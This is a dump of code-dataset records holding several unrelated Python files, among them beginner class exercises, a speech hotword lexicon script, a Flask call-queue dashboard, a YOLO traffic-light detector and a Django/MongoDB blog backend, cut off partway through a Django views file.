method\nsonny.print_contact_info()\n\n# The cumbersome way to add a name to a person object\nsonny.friends.append(jordan.name)\njordan.friends.append(sonny.name)\n\n# Calling the add_friend method\n\njordan.add_friend(sonny)\nprint(jordan.friends)\njordan.num_friends()\n\n# Testing out how many times an object uses the greet method\njordan.greet(sonny)\nprint(jordan.greeting_count)\njordan.greet(sonny)\nprint(jordan.greeting_count)\n\n# Testing out the str method\nprint(sonny)\nprint(jordan)\n\n# Testing out the unique_people attribute and making sure it's working\nsonny.greet(jordan)\nsonny.num_unique_people_greeted()\nsonny.greet(jordan)\nsonny.num_unique_people_greeted()\nsonny.greet(dee_ann)\nsonny.num_unique_people_greeted()\n\n# practicing creating a vehicle class\n\n\nclass Vehicle:\n\n def __init__(self, make, model, year):\n self.make = make\n self.model = model\n self.year = year\n\n def print_info(self):\n print(self.year, self.make, self.model)\n\n\ncar = Vehicle('Honda', 'CRV', 2016)\n\ncar.print_info()\n","sub_path":"object_exercises.py","file_name":"object_exercises.py","file_ext":"py","file_size_in_byte":3478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"304958478","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 6, 2021\n\n@author: aseschng\n\"\"\"\n#!/usr/bin/env python3\n\"\"\"\nAuthor: Chng Eng Siong\nDate: 6 July 2021\nLast edited: 6 Aug 2021 (CES), \nObjective: to generate hotword lexicon\n\nUsage: \npython3 run_createHotWordLexicon.py --hotwordRawList ./TestData_Clean/hotwordRawList.txt --opLexicon ./TestData_Op/opLexicon.txt --opLexicon_withHWStr ./TestData_Op/opLexicon_withHWStr.txt\n\nex:\n hotwordRawList = './TestData_Clean/hotwordRawList.txt'\n opLexicon = './TestData_Op/hotword_Lexicon.txt'\n opLexicon_withHWStr = './TestData_Op/hotwordRaw_Lexicon_withHWStr.txt'\n\n\"\"\"\n#\nimport logging\nimport os, sys, io\nimport argparse\nfrom libWord import C_WordList\n\nlogging.basicConfig(\n format='%(asctime)s,%(msecs)d %(name)s %(levelname)s [%(filename)s:%(lineno)d] %(message)s',\n datefmt='%H:%M:%S',\n level=logging.INFO)\nlog = logging.getLogger(\"{}\".format(os.path.basename(sys.argv[0])))\n\n\nparse = argparse.ArgumentParser()\nparse.add_argument('--hotwordRawList', required=True, help=\"hotword raw list file \")\nparse.add_argument('--opLexicon', required=True, help=\"lexicon filename\")\nparse.add_argument('--opLexicon_withHWStr', required=True, help=\"lexicon with Hotwordstr filename\")\nargs = parse.parse_args()\n \n\nlistHotWord = C_WordList()\nlistHotWord.read_WordList( args.hotwordRawList, True) # second parameter tells system that its hotword reading\nlistHotWord.write_WordLexicon(args.opLexicon)\nlistHotWord.write_WordLexicon_withWordStr(args.opLexicon_withHWStr)\n \n ","sub_path":"local/OLD/run_createHotWordLexicon.py","file_name":"run_createHotWordLexicon.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"465747149","text":"# -*- coding: utf-8 -*-\n\n#\n# Copyright (C) 2015-2016 Rodrigo Ramírez Norambuena \n#\n\n\nfrom flask import Flask, render_template, jsonify, redirect,\\\n request, session, url_for\nimport os\nimport sys\nimport ConfigParser\nimport json\nfrom werkzeug.serving import run_simple\nfrom werkzeug.wsgi import DispatcherMiddleware\nfrom werkzeug.exceptions import abort\n\n# babel\nfrom flask.ext.babel import Babel, gettext, dates, format_timedelta\nfrom datetime import timedelta\n\n# flask-login\nimport flask.ext.login as flask_login\n\nfrom libs.qpanel.upgrader import *\nimport libs.qpanel.utils as uqpanel\n\nfrom libs.qpanel.config import QPanelConfig\nfrom libs.qpanel.backend import Backend\n\n\nclass User(flask_login.UserMixin):\n pass\n\ncfg = QPanelConfig()\nbackend = Backend()\n\n\ndef get_data_queues(queue=None):\n data = backend.get_data_queues()\n if queue is not None:\n try:\n data = data[queue]\n except:\n abort(404)\n if cfg.is_debug:\n app.logger.debug(data)\n return data\n\n\ndef get_user_config_by_name(username):\n try:\n user = User()\n user.id = username\n user.password = cfg.get('users', username)\n return user\n except:\n return None\n\n# Flask env\nAPPLICATION_ROOT = cfg.base_url\napp = Flask(__name__)\napp.config.from_object(__name__)\nbabel = Babel(app)\napp.config['BABEL_DEFAULT_LOCALE'] = cfg.language\napp.secret_key = cfg.secret_key\n\nlogin_manager = flask_login.LoginManager()\nlogin_manager.init_app(app)\n\n\ndef set_data_user(user_config):\n user = User()\n user.id = user_config.id\n return user\n\n\n@login_manager.unauthorized_handler\ndef unauthorized_handler():\n return redirect(url_for('login'))\n\n\n@login_manager.user_loader\ndef user_loader(username):\n user_config = get_user_config_by_name(username)\n if user_config is None:\n return\n return set_data_user(user_config)\n\n\n@login_manager.request_loader\ndef request_loader(request):\n username = request.form.get('username')\n user_config = get_user_config_by_name(username)\n\n if not cfg.has_users():\n # fake login\n user = User()\n user.id = 'withoutlogin'\n return user\n\n if user_config is None:\n return\n\n user = set_data_user(user_config)\n user.is_authenticated = user_config == request.form['pw']\n return user\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if not cfg.has_users():\n return redirect(url_for('home'))\n\n if request.method == 'GET':\n return render_template('login.html')\n\n username = request.form['username']\n user_config = get_user_config_by_name(username)\n if user_config is None:\n return redirect(url_for('login'))\n\n if user_config.password == request.form['pw']:\n user = set_data_user(user_config)\n flask_login.login_user(user)\n return redirect(url_for('home'))\n return redirect(url_for('login'))\n\n\n@app.before_first_request\ndef setup_logging():\n # issue https://github.com/benoitc/gunicorn/issues/379\n if not app.debug:\n app.logger.addHandler(logging.StreamHandler())\n app.logger.setLevel(logging.INFO)\n\n\n# babel\n@babel.localeselector\ndef get_locale():\n langs = ['en', 'es', 'de', 'pt_BR', 'ru']\n browser = request.accept_languages.best_match(langs)\n try:\n return session['language']\n except KeyError:\n session['language'] = browser\n return browser\n\n\n# Utilities helpers\n@app.context_processor\ndef utility_processor():\n def str_status_agent(value):\n try:\n value = int(value)\n except:\n value = 0\n unavailable = [0, 4, 5]\n free = [1]\n\n if value in unavailable:\n return gettext('unavailable')\n elif value in free:\n return gettext('free')\n else:\n return gettext('busy')\n return dict(str_status_agent=str_status_agent)\n\n\n@app.context_processor\ndef utility_processor():\n def request_interval():\n return (cfg.interval * 1000)\n return dict(request_interval=request_interval)\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return render_template('404.html'), 404\n\n\n@app.context_processor\ndef utility_processor():\n def check_upgrade():\n return cfg.check_upgrade\n return dict(check_upgrade=check_upgrade)\n\n\n@app.context_processor\ndef utility_processor():\n def show_service_level():\n return cfg.show_service_level\n return dict(show_service_level=show_service_level)\n\n\n@app.context_processor\ndef utility_processor():\n def has_users():\n return cfg.has_users()\n return dict(has_users=has_users)\n\n\n@app.context_processor\ndef utility_processor():\n def clean_str_to_div_id(value):\n return uqpanel.clean_str_to_div_id(value)\n return dict(clean_str_to_div_id=clean_str_to_div_id)\n\n\n@app.context_processor\ndef utility_processor():\n def is_freeswitch():\n return backend.is_freeswitch()\n return dict(is_freeswitch=is_freeswitch)\n\n\n# ---------------------\n# ---- Routes ---------\n# ---------------------\n# home\n@app.route('/')\n@flask_login.login_required\ndef home():\n data = get_data_queues()\n template = 'index.html'\n if backend.is_freeswitch():\n template = 'fs/index.html'\n return render_template(template, queues=data)\n\n\n@app.route('/queue/')\n@flask_login.login_required\ndef queue(name=None):\n data = get_data_queues(name)\n template = 'queue.html'\n if backend.is_freeswitch():\n template = 'fs/queue.html'\n return render_template(template, data=data, name=name)\n\n\n@app.route('/queue/.json')\n@flask_login.login_required\ndef queue_json(name=None):\n data = get_data_queues(name)\n return jsonify(name=name, data=data)\n\n\n# data queue\n@app.route('/queues')\n@flask_login.login_required\ndef queues():\n data = get_data_queues()\n return jsonify(data=data)\n\n\n@app.route('/lang')\n@app.route('/lang/')\n@flask_login.login_required\ndef language(language=None):\n session['language'] = language\n return redirect(url_for('home'))\n\n\n@app.route('/check_new_version')\n@flask_login.login_required\ndef check_new_version():\n need_upgrade = False\n try:\n if require_upgrade():\n need_upgrade = True\n except:\n pass\n\n return jsonify(\n require_upgrade=need_upgrade,\n current_version=get_current_version(),\n last_stable_version=get_stable_version()\n )\n\n\n@app.route('/logout')\ndef logout():\n flask_login.logout_user()\n return redirect(url_for('login'))\n\n# ---------------------\n# ---- Main ----------\n# ---------------------\nif __name__ == '__main__':\n\n if cfg.is_debug:\n app.config['DEBUG'] = True\n\n if APPLICATION_ROOT == '/':\n app.run(host=cfg.host_bind, port=cfg.port_bind, use_reloader=True,\n extra_files=[cfg.path_config_file])\n else:\n application = DispatcherMiddleware(Flask('dummy_app'), {\n app.config['APPLICATION_ROOT']: app,\n })\n run_simple(cfg.host_bind, cfg.port_bind, application,\n use_reloader=True, extra_files=[cfg.path_config_file])\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"362062350","text":"# Run tests with \"manage.py test\".\n\nfrom django import http\nfrom django.test import TestCase\n#from django_nose import FastFixtureTestCase\nfrom hello.views import home, home2 \n\n\nclass TestHomeView(TestCase):\n def test_home(self):\n request = http.HttpRequest()\n response = home(request)\n self.assertEqual(200, response.status_code)\n self.assertIn('The World!', response.content)\n\n def test_home2(self):\n res = home2()\n self.assertEqual(0, res)\n","sub_path":"hello/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"356934055","text":"from os.path import dirname\nfrom yolov4.tf import YOLOv4\nimport cv2\nimport numpy as np\n\nyolo = YOLOv4(tiny=True)\nyolo.classes = dirname(__file__)+\"/coco.names\"\nyolo.input_size = (416, 416)\nyolo.make_model()\nyolo.load_weights(dirname(__file__)+\"/yolov4-tiny.weights\", weights_type=\"yolo\")\n\n\ndef get_traffic_light_status(image):\n bboxes = get_traffic_light_box(image)\n # image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n height, width, _ = image.shape\n bboxes[:, [0, 2]] = bboxes[:, [0, 2]] * width\n bboxes[:, [1, 3]] = bboxes[:, [1, 3]] * height\n\n light_color = {\"Red\": 0, \"Green\": 0}\n for box in bboxes:\n x, y, w, h = int(box[0]), int(box[1]), int(box[2] / 2), int(box[3] / 2)\n crop_img = image[y - h:y + h, x - w:x + w]\n light_color[detect_light(crop_img)] += 1\n\n if light_color[\"Red\"] > light_color[\"Green\"]:\n return 'r'\n else:\n return 'g'\n\n\ndef get_traffic_light_box(image):\n bboxes = yolo.predict(image)\n filter_traffic_light = []\n for bbox in bboxes:\n if yolo.classes[int(bbox[4])] == \"traffic_light\":\n filter_traffic_light.append(True)\n else:\n filter_traffic_light.append(False)\n return bboxes[filter_traffic_light]\n\n\ndef detect_light(img, threshold=0.01):\n desired_dim = (30, 90) # width, height\n img = cv2.resize(np.array(img), desired_dim, interpolation=cv2.INTER_LINEAR)\n img_hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n\n # lower mask (0-10)\n lower_red = np.array([0, 70, 50])\n upper_red = np.array([10, 255, 255])\n mask0 = cv2.inRange(img_hsv, lower_red, upper_red)\n\n # upper mask (170-180)\n lower_red1 = np.array([170, 70, 50])\n upper_red1 = np.array([180, 255, 255])\n mask1 = cv2.inRange(img_hsv, lower_red1, upper_red1)\n\n # defining the Range of yellow color\n lower_yellow = np.array([21, 39, 64])\n upper_yellow = np.array([40, 255, 255])\n mask2 = cv2.inRange(img_hsv, lower_yellow, upper_yellow)\n\n # red pixels' mask\n mask = mask0 + mask1 + mask2\n\n # Compare the percentage of red values\n rate = np.count_nonzero(mask) / (desired_dim[0] * desired_dim[1])\n\n if rate > threshold:\n return \"Red\"\n else:\n return \"Green\"\n\n\nif __name__ == \"__main__\":\n i = cv2.imread(\"test_img.PNG\")\n print(get_traffic_light_status(i))\n\n","sub_path":"YOLO/traffic_light_detection.py","file_name":"traffic_light_detection.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"298970150","text":"#!/usr/bin/env python\n\"\"\"\nreading PFISR data down to IQ samples\n\nSee Examples/ for more updated specific code\n\"\"\"\nfrom isrraw.plots import simpleloop\nfrom argparse import ArgumentParser\n\n\ndef main():\n\n p = ArgumentParser()\n p.add_argument(\"fn\", help=\".ini file to read\")\n p = p.parse_args()\n\n simpleloop(p.fn)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"singleplot.py","file_name":"singleplot.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"284596607","text":"from http.server import HTTPServer, SimpleHTTPRequestHandler\nfrom jinja2 import Environment, FileSystemLoader, select_autoescape\nfrom utils import calculate_years_together, parse_file, parse_args\n\n\nif __name__ == '__main__':\n path = parse_args().filepath\n env = Environment(\n loader=FileSystemLoader('.'),\n autoescape=select_autoescape(['html', 'xml'])\n )\n\n template = env.get_template('template.html')\n\n rendered_page = template.render(\n age_in_years=calculate_years_together(),\n wines_group_by_categories=parse_file(path),\n )\n\n with open('index.html', 'w', encoding=\"utf8\") as file:\n file.write(rendered_page)\n\n server = HTTPServer(('0.0.0.0', 8000), SimpleHTTPRequestHandler)\n server.serve_forever()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"230992843","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, render_to_response\nfrom django.http import JsonResponse\nimport time\nfrom . import mongodb\nfrom . import publicFun\nimport random\nfrom channels.generic.websocket import WebsocketConsumer\nimport json\nimport re\nimport os\nimport base64\nfrom django.conf import settings\n############## db ##################\nfrom pymongo import MongoClient\nconn = MongoClient('0.0.0.0', 27017)\ndb = conn.blog\n############## eb end ##############\n############## global ##############\n# passwdKey = str(random.randint(0, 999999999999999999999999999999999999999999999999999999999999999)).zfill(999)\npasswdKey = str('6666')\n############## global end ##########\ndef dbIndex(request):\n user1 = mongodb.User(\n username='aa',\n website='www.google.com',\n tags=['111','121','111']\n )\n user1.save()\n Oid = user1.id\n return HttpResponse(Oid)\ndef post(request):\n if request.method == 'GET':\n return render(request,'post.html')\n else:\n username = request.POST.get('username','')\n password = request.POST.get('password','')\n return JsonResponse({'username': username, \"password\": password})\ndef checkLogin(request):\n if request.method == 'POST':\n userToken = request.POST.get('token', '')\n userName = request.POST.get('name', '')\n userInfo = db.userInfo.find_one({'name': userName})\n if userInfo is not None:\n if str(userInfo[\"token\"]) == str(userToken):\n return JsonResponse({'res': 'pass'})\n else:\n return JsonResponse({'res': 'error'})\n else:\n return JsonResponse({'res': 'error'})\n else:\n pass\ndef login(request): \n if request.method == \"POST\":\n userName = request.POST.get('name', '')\n userPasswd = request.POST.get('passwd', '')\n userInfo = db.userInfo.find_one({'name': userName})\n if userInfo is not None:\n if str(userInfo['passwd']) == str(userPasswd):\n return JsonResponse({\n 'res': {\n 'state': 'ok',\n 'token': userInfo['token'],\n 'name': userName\n }\n })\n else:\n return JsonResponse({\n 'res':{'state': 'error'}\n })\n else:\n return JsonResponse({\n 'res':{'state': 'error'}\n })\n else:\n pass\ndef getMenu(request):\n if request.method == 'GET':\n dat = JsonResponse([\n {\n 'label': 'file',\n 'action': ''\n },\n {\n 'label': 'edit',\n 'action': ''\n },\n {\n 'label': 'select',\n 'action': ''\n }\n ], safe=False)\n return dat\ndef getNotifyNumber(request):\n if request.method == 'GET':\n col = db.desktopIconList\n countArticle = col.find().count()\n dat = JsonResponse({'data': countArticle}, safe=False)\n return dat\n else: \n pass\ndef getDesktopIconList(request):\n if request.method == 'POST':\n\n userName = request.POST.get('name', '')\n userToken = request.POST.get('token', '')\n\n if userName and userToken:\n reqArr = []\n\n colUser = db.userInfo\n col = db.desktopIconList\n\n # name at userinfo ?\n searchUser = colUser.find_one({'name': userName})\n\n if searchUser['token'] == userToken:\n if searchUser:\n # check power\n if str(searchUser['power']) == 'root':\n findData = col.find()\n for i in findData:\n i.pop('_id')\n i.pop('content')\n reqArr.append(i)\n dat = JsonResponse(reqArr, safe=False)\n return dat\n else:\n findNormanData = col.find({'author': userName})\n for i in findNormanData:\n i.pop('_id')\n i.pop('content')\n reqArr.append(i)\n dat = JsonResponse(reqArr, safe=False)\n return dat\n else:\n return JsonResponse({'msg': 'err'})\n else:\n return JsonResponse({'msg': 'err'})\ndef getSidebarIconList(request):\n if request.method == 'POST':\n dat = JsonResponse([\n {\n 'label': 'Baidu',\n 'img': '',\n 'url': 'https://www.baidu.com'\n },\n {\n 'label': 'Arch',\n 'img': '',\n 'url': 'https://www.archlinux.org/'\n },\n {\n 'label': 'Github',\n 'img': '',\n 'url': 'https://github.com/'\n },\n {\n 'label': 'Kernel',\n 'img': '',\n 'url': 'https://www.kernel.org/'\n },\n {\n 'label': 'Distrowatch',\n 'img': '',\n 'url': 'https://distrowatch.org/'\n }\n ], safe=False)\n return dat\ndef getWindowContent(request):\n if request.method == 'POST':\n id = request.POST.get('id','')\n if id:\n findDat = db.desktopIconList.find_one({\"id\":id})\n return JsonResponse({\n 'id': findDat['id'],\n 'img': findDat['img'],\n 'contentType': findDat['content']['contentType'],\n 'data': [\n {\n 'h1': findDat['content']['data'][0]['h1'],\n 'content': findDat['content']['data'][0]['content'],\n } \n ]\n })\ndef getSidebarPopContent(request):\n if request.method == 'POST':\n id = request.POST.get('id','')\n userName = request.POST.get('name', '')\n userToken = request.POST.get('token', '')\n\n colUser = db.userInfo\n col = db.desktopIconList\n col_file = db.uploadFile\n\n searchUser = colUser.find_one({'name': userName})\n if searchUser['token'] == userToken:\n if str(searchUser['power']) == 'root':\n findDat = col.find({},{'label':1,'date':1,'id':1})\n # findDat = col.find({}, {\"label\": 1})\n dat = {\n 'id': id,\n 'content': []\n }\n if id == 'num0':\n for i in findDat:\n label = i['label']\n date = i['date']\n id = i['id']\n dat['content'].append({'label':label,'date':date,'id':id})\n else:\n dat['content'].append({'label': 'other'})\n dat['content'].reverse()\n return JsonResponse(dat)\n else:\n findDat = col.find({'author': userName})\n findDat_f = col_file.find({'author': userName})\n # findDat = col.find({}, {\"label\": 1})\n dat = {\n 'id': id,\n 'content': []\n }\n if id == 'num0':\n for i in findDat:\n label = i['label']\n date = i['date']\n id = i['id']\n types = 'article'\n dat['content'].append({'label':label,'date':date,'id':id,'type': types})\n for j in findDat_f:\n label = j['name']\n date = time.strftime(\"%Y-%m-%d week %w %H:%M:%S\", time.localtime(float(j['id'])))\n id = j['id']\n typef = 'file'\n dat['content'].append({'label':label,'date':date,'id':id,'type': typef})\n else:\n dat['content'].append({'label': 'other'})\n dat['content'].reverse()\n return JsonResponse(dat)\n# key and key check\n# set pop pwd\n# set\ndef setSidebarPopEditPasswordCheck(request):\n global passwdKey\n passwdKey = str(random.randint(0, 9999)).zfill(4)\n if request.method == 'POST':\n # set key\n publicFun.sendMail(passwdKey)\n return JsonResponse({'res': '...'})\n# get pop pwd\n# get\ndef getSidebarPopEditPasswordCheck(request): \n if request.method == 'POST':\n pwd = request.POST.get('pwd','')\n if str(pwd) == passwdKey:\n return JsonResponse({'data': 'true'})\n else:\n return JsonResponse({'data': 'false'})\n# New Article\ndef getSubmitNewArticle(request):\n if request.method == 'POST':\n h1 = request.POST.get('h1')\n date = request.POST.get('date')\n iconLabel = request.POST.get('img')\n contentType = request.POST.get('contentType')\n content = request.POST.get('content')\n name = request.POST.get('name')\n token = request.POST.get('token')\n\n userInfo = db.userInfo.find_one({'token': token})\n if userInfo is not None:\n if userInfo['name'] == name:\n col = db.desktopIconList\n times = time.time()\n dbDat = {\n \"label\":h1,\n \"img\": iconLabel,\n \"url\": '',\n \"author\": name,\n \"date\": date,\n \"id\": str( times * 1000),\n \"content\" : {\n \"contentType\": contentType,\n \"data\": [{\n \"h1\": h1,\n \"content\": content\n }]\n }\n }\n col.save(dbDat)\n return JsonResponse({'res': 'ok'})\n else:\n return JsonResponse({'res': 'err'})\n else:\n pass\n# Edit Article\ndef getSubmitEditArticle(request):\n if request.method == 'POST':\n id = request.POST.get('id')\n h1 = request.POST.get('h1')\n date = request.POST.get('date')\n iconLabel = request.POST.get('img')\n contentType = request.POST.get('contentType')\n content = request.POST.get('content')\n\n name = request.POST.get('name')\n token = request.POST.get('token')\n userInfo = db.userInfo.find_one({'token': token})\n if userInfo is not None:\n if userInfo['name'] == name:\n col = db.desktopIconList\n col.update({\"id\":id},{\"$set\": {\n \"label\":h1,\n \"img\": iconLabel,\n \"url\": '',\n \"date\": date,\n \"id\": id,\n \"content\" : {\n \"contentType\": contentType,\n \"data\": [{\n \"h1\": h1,\n \"content\": content\n }]\n }\n }})\n return JsonResponse({'res': 'ok'})\n else:\n return JsonResponse({'res': 'err'})\n else:\n pass\n# Delete History\ndef getDeleteSidebarPopHistory(request):\n if request.method == 'POST':\n id = request.POST.get('id')\n name = request.POST.get('name')\n types = request.POST.get('type')\n token = request.POST.get('token')\n userInfo = db.userInfo.find_one({'token': token})\n print(\"iii\",name, types, token, userInfo)\n if userInfo is not None:\n if userInfo['name'] == name:\n\n col = db.desktopIconList\n col_file = db.uploadFile\n\n if types == 'article':\n col.remove({'id':id})\n return JsonResponse({'res': 'ok'})\n elif types == 'file':\n # del\n db_findFile = col_file.find_one({'id':id})\n imgDir = settings.STATIC_URL\n findFile_name = db_findFile['name']\n f = os.path.join(imgDir, findFile_name)\n os.remove(f.lstrip('/'))\n col_file.remove({'id':id})\n\n return JsonResponse({'res': 'ok'})\n else:\n return JsonResponse({'res': 'err'})\n else:\n pass\n\ndef getWeather(request):\n if request.method == 'POST':\n dat = publicFun.getPositionWeather()\n return JsonResponse({'res': dat})\ndef searchArticle(request):\n if request.method == 'POST':\n keyword = request.POST.get('dat','')\n typeword = request.POST.get('type','')\n userName = request.POST.get('name','')\n userToken = request.POST.get('token','')\n\n colUser = db.userInfo\n col = db.desktopIconList\n\n tmp_type_arr = []\n\n searchUser = colUser.find_one({'name': userName})\n if searchUser['token'] == userToken:\n if str(searchUser['power']) == 'root':\n allCollectionItem = col.find()\n\n # search type\n for ti in allCollectionItem:\n if typeword == 'All':\n tmp_type_arr.append(ti)\n else:\n if ti['img'] == typeword:\n tmp_type_arr.append(ti)\n\n # search keyword\n tmp_label_arr = []\n for i in tmp_type_arr:\n if re.search(keyword, i['label']):\n tmp_label_arr.append(i['label'])\n\n reqArr = []\n for i in tmp_label_arr:\n result_col = col.find({'label': i})\n for j in result_col:\n j.pop('_id')\n j.pop('content')\n reqArr.append(j)\n\n dat = JsonResponse(reqArr, safe=False)\n return dat\n else:\n allCollectionItem = col.find({'author': userName})\n\n # search type\n for ti in allCollectionItem:\n if typeword == 'All':\n tmp_type_arr.append(ti)\n else:\n if ti['img'] == typeword:\n tmp_type_arr.append(ti)\n\n # search keyword\n tmp_label_arr = []\n for i in tmp_type_arr:\n if re.search(keyword, i['label']):\n tmp_label_arr.append(i['label'])\n\n reqArr = []\n for i in tmp_label_arr:\n result_col = col.find({'label': i})\n for j in result_col:\n j.pop('_id')\n j.pop('content')\n reqArr.append(j)\n\n dat = JsonResponse(reqArr, safe=False)\n return dat\n\n else:\n return JsonResponse({'res': 'notin'})\n\n# client upload\ndef uploadFile(request):\n if request.method == \"POST\":\n myFile = request.FILES.get(\"upFile\", None)\n name = request.POST.get(\"name\", None)\n author = request.POST.get(\"author\", None)\n###############################################\n if myFile != None:\n # if req img name == dir in img name\n imgDir = settings.STATIC_URL\n imgNameList = os.listdir(imgDir.lstrip('/'))\n if str(author + '_' + name) in imgNameList:\n return JsonResponse({\n \"res\": {\n 'state': 'exist'\n }\n })\n############################################### \n else:\n # else save img\n file_path = os.path.join('img', author + '_' + name)\n\n store_f = open(file_path, 'wb')\n for chunk in myFile.chunks():\n store_f.write(chunk)\n store_f.close()\n###############################################\n # save to db\n # f = open(file_path, 'rb')\n # base64_f = base64.b64encode(f.read())\n # f.close()\n\n col = db.uploadFile\n col.insert({\n # 'base64': base64_f.decode(),\n 'name': author+ '_' + name,\n 'author': author,\n 'type': '',\n 'id': str(time.time())\n })\n # print(base64_f.decode())\n return JsonResponse({\n \"res\": {\n 'state': 'ok',\n 'name': str(file_path),\n 'author': str(author),\n # 'base64': base64_f.decode()\n }\n })\n###############################################\n # return render_to_response('./img/1535512636311子弹.svg', locals())\n else:\n return JsonResponse({\n \"res\": {\n 'state': 'err'\n }\n })\n# client download\ndef getImgList(request):\n if request.method == \"POST\":\n userName = request.POST.get(\"author\", None)\n userToken = request.POST.get('token','')\n if userName and userToken:\n colUser = db.userInfo\n col_f = db.uploadFile\n\n searchUser = colUser.find_one({'name': userName})\n\n if searchUser['token'] == userToken:\n linkArr = col_f.find({\"author\": userName})\n # get img dir list\n imgDir = settings.STATIC_URL\n imgListName_tmp = []\n for list in linkArr:\n imgListName_tmp.append(\n imgDir + list['name']\n )\n return JsonResponse({\n \"res\": {\n 'state': 'ok',\n 'list': imgListName_tmp\n }\n })\n else:\n return JsonResponse({\n \"res\": {\n 'state': 'err',\n }\n })\n else:\n return JsonResponse({\n \"res\": {\n 'state': 'err',\n }\n })\ndef getMonitor(request):\n if request.method == \"GET\":\n cmdRet = os.popen('df -h')\n cmdRet_r = cmdRet.readlines()\n res_line = ''\n for line in cmdRet_r:\n res_line += line\n return JsonResponse({\n \"res\": {\n 'content': res_line,\n }\n }) ","sub_path":"BlogB-master/BlogB/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":18969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"503257305","text":"# Program to perform binary search with functions\r\n# J. Raghuramjee - 121910313004\r\n\r\ndef binary(arr,key,low,high):\r\n if high >= low: \r\n mid = (high+low)//2\r\n if arr[mid]==key: \r\n return mid \r\n elif arr[mid]>key: \r\n return binary(arr, key, low, mid-1) \r\n else: \r\n return binary(arr, key, mid+1, high) \r\n else: \r\n return -1\r\n\r\n\r\n# Initialsing the array\r\narr = []\r\n# Taking the element to input from user\r\nsize = int(input('Enter the size of the array : '))\r\nprint('Enter the elements of the array')\r\nfor i in range(size):\r\n arr.append(input())\r\nkey = input(\"Enter the element to search : \")\r\n\r\nif arr!=sorted(arr):\r\n print(\"Array is not sorted, cannot implement binary search\")\r\nelse:\r\n ans = binary(arr,key,0,len(arr)-1)\r\n if ans!=-1: print(\"The element\", key, \"is found at index\", ans)\r\n else: print(\"The element\", key, \"is not found\")","sub_path":"L-5 Assignment Binary Search with user inputs.py","file_name":"L-5 Assignment Binary Search with user inputs.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"77225976","text":"'''\nCreated on Mar 1, 2019\n\n@author: carissawillis\n'''\n\n# Create class to parse GO terms, store objects in dictionary, and print annotations to output file.\n\nimport re\n\n# Class to hold GO term record (ID, name, namespace, is_as).\n# Return formatted annotation when return_record() is invoked.\nclass GoTerm(object):\n\n def __init__(self, record):\n id_search = re.search(r\"id: (?PGO:.+)\\n\", record)\n name_search = re.search(r\"name: (?P.+)\\n\", record)\n namespace_search = re.search(r\"namespace: (?P.+)\\n\", record)\n is_as_search = re.findall(r\"is_a: (?PGO:.+)\\n\", record)\n \n self.id = id_search.group(\"id\")\n self.name = name_search.group(\"name\")\n self.namespace = namespace_search.group(\"namespace\")\n self.is_as = is_as_search\n\n def return_record(self):\n if self.id:\n if self.is_as:\n is_as_str = \"\\n\\t\\t\".join(self.is_as)\n GO_info = \"\\n\\t\\t\".join([self.name, self.namespace, is_as_str])\n else:\n GO_info = \"\\n\\t\\t\".join([self.name, self.namespace])\n return self.id + \"\\t\" + GO_info + \"\\n\"\n \n# Split file into records by GO term. \ndef split_records(GO_file):\n \n GO_file = open(GO_file)\n GO_file_contents = GO_file.read()\n GO_file.close()\n GO_terms = re.findall(r\"\\[Term\\](.*?\\n)\\n\", GO_file_contents, re.DOTALL)\n return GO_terms\n\nGO_terms = split_records(\"/scratch/go-basic.obo\")\n\n# Dictionary to hold GO ID and corresponding GoTerm object.\nGO_dict = {}\n\nfor record in GO_terms:\n GO_term = GoTerm(record)\n GO_dict[GO_term.id] = GO_term\n\n# Print GO annotation to GO_descriptions2.txt file.\nannotation_file = open(\"GO_descriptions2.txt\", \"w\")\n\nfor GO_id in sorted(GO_dict.keys()):\n annotation_file.write(GO_dict[GO_id].return_record())\n \nannotation_file.close()\n","sub_path":"protein_diffExp_report/parse_go_terms_OOP.py","file_name":"parse_go_terms_OOP.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"101984970","text":"import traceback\n\nfrom django.http import (\n HttpResponse,\n JsonResponse,\n HttpResponseBadRequest,\n HttpResponseServerError,\n HttpResponseNotFound,\n HttpResponseForbidden,\n)\nfrom django.contrib.auth import authenticate, login\nfrom django.db import transaction\nfrom django.db.utils import IntegrityError\nfrom django.utils.datastructures import MultiValueDictKeyError\nfrom django.http.request import HttpRequest\nfrom django.views.decorators.http import require_GET, require_POST\nfrom django.views.generic import TemplateView\n\nfrom .models import StaticDeployment, DeploymentVersion, DeploymentCategory\nfrom .forms import StaticDeploymentForm\nfrom .upload import (\n handle_uploaded_static_archive,\n update_symlink,\n delete_hosted_deployment,\n delete_hosted_version,\n)\nfrom .serialize import serialize\nfrom .validation import (\n BadInputException,\n validate_deployment_name,\n get_validated_form,\n NotFound,\n 